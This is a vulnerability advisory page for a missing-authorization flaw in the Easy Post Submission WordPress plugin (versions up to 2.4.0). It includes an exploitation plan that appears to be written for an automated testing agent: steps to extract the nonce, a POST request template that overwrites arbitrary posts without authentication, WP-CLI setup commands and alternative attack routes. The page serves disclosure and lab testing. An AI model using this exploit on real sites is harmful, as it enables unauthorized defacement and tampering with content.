Easy Post Submission – Frontend Posting, Guest Publishing & Submit Content for WordPress <= 2.4.0 - Missing Authorization
Description
The Easy Post Submission – Frontend Posting, Guest Publishing & Submit Content for WordPress plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on a function in versions up to, and including, 2.4.0. This makes it possible for unauthenticated attackers to perform an unauthorized action.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:NTechnical Details
<=2.4.0What Changed in the Fix
Changes introduced in v2.5.0
Source Code
WordPress.org SVN# Detailed Exploitation Research Plan: CVE-2026-22479 ## 1. Vulnerability Summary The **Easy Post Submission** plugin (versions <= 2.4.0) contains a missing authorization vulnerability within its frontend AJAX handling logic. Specifically, the `create_post` function (associated with the `rbsm_submi…
Show full research plan
Detailed Exploitation Research Plan: CVE-2026-22479
1. Vulnerability Summary
The Easy Post Submission plugin (versions <= 2.4.0) contains a missing authorization vulnerability within its frontend AJAX handling logic. Specifically, the create_post function (associated with the rbsm_submit_post AJAX action) is accessible to unauthenticated users (wp_ajax_nopriv_rbsm_submit_post) to allow guest submissions. However, the function fails to properly validate that a user has permission to modify a post when a postId parameter is provided. This allows an unauthenticated attacker to overwrite the content, title, and metadata of any existing WordPress post by providing its ID.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Action:
rbsm_submit_post - HTTP Method:
POST - Authentication: None (Unauthenticated)
- Vulnerable Parameter:
postId(used to target an existing post for modification) - Preconditions:
- The plugin must be active.
- A valid nonce for the
easy-post-submissionaction must be obtained. - A "Submission Form" must exist (the plugin creates a default one during its "Quick Start" setup).
3. Code Flow
- Entry Point: An unauthenticated user sends a POST request to
admin-ajax.phpwithaction=rbsm_submit_post. - Hook Registration: In
includes/client-ajax-handler.php, the constructor registers:add_action( 'wp_ajax_nopriv_rbsm_submit_post', [ $this, 'create_post' ] ); - Data Sanitization:
create_postcalls$this->get_sanitized_submission_data(). - Nonce Check: Inside
get_sanitized_submission_data():- It retrieves
$_POST['_nonce']. - It verifies it against
self::$nonce(which is'easy-post-submission'). - It extracts
postIdfrom$_POST['postId'].
- It retrieves
- Vulnerable Sink:
create_postuses the extractedpostIdto perform awp_insert_post()orwp_update_post()operation. In version 2.4.0 and below, it fails to callcurrent_user_can('edit_post', $postId)or verify that the guest user is the original author of the post being modified.
4. Nonce Acquisition Strategy
The plugin generates the nonce for the easy-post-submission action and localizes it for use in frontend forms.
- Shortcode Identification: The plugin uses the shortcode
[rb_submission_form]to display the submission form. - Setup: Create a public page containing this shortcode.
- Navigation: Navigate to the page using
browser_navigate. - Extraction: Use
browser_evalto extract the nonce from the localized JavaScript object. The plugin typically localizes its parameters into therbsm_paramsorrbsm_ajax_paramsobject.- Target Variable:
window.rbsm_params.nonceorwindow.rbSubmission.nonce. - Fallback: If the variable name is unknown, search the page source for the string
"easy-post-submission".
- Target Variable:
5. Exploitation Strategy
- Discover Form ID: The plugin requires a
formId(referencing therb_submissiontable). A default form is usually created during setup with ID1. - Identify Target: Select a target Post ID (e.g., Post ID
1, usually the default "Hello world!" post). - Craft Payload:
action:rbsm_submit_post_nonce:[EXTRACTED_NONCE]postId:[TARGET_POST_ID]title:Hacked by CVE-2026-22479content:Your site has been modified due to missing authorization.formId:1
- Execute: Send the request using the
http_requesttool.
Request Template:
POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
action=rbsm_submit_post&_nonce=[NONCE]&postId=1&title=Defaced&content=Vulnerable+Plugin&formId=1
6. Test Data Setup
- Install Plugin: Ensure
easy-post-submissionversion 2.4.0 is installed. - Trigger Setup: The plugin requires a "Setup Flag" to be set or the activation routine to run to create the
rb_submissiontable.wp eval "Easy_Post_Submission::get_instance()->activate_site();"
- Create Submission Form:
wp db query "INSERT INTO wp_rb_submission (title, data) VALUES ('Default Form', '{}');"
- Create Exploit Page:
wp post create --post_type=page --post_status=publish --post_title="Submit" --post_content='[rb_submission_form]'
- Target Post: Ensure a post with ID
1exists.
7. Expected Results
- The AJAX request should return a JSON success response:
{"success":true,"data":...}. - The post with the specified
postId(e.g., ID 1) should have its title and content updated to the values provided in the exploit payload.
8. Verification Steps
- Check Post Content: Use WP-CLI to verify the post was modified.
wp post get 1 --field=post_titlewp post get 1 --field=post_content
- Check Status: Ensure the modification occurred even though the request was unauthenticated.
9. Alternative Approaches
- Status Manipulation: If the plugin allows setting
post_status, attempt to change aprivateordraftpost topublish. - Form ID Enumeration: If form ID
1does not exist, use a loop or SQL query to find a valid ID from thewp_rb_submissiontable. - Custom Fields: If the post uses metadata, attempt to inject data via the
customFieldsDataparameter identified inget_sanitized_submission_data().
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.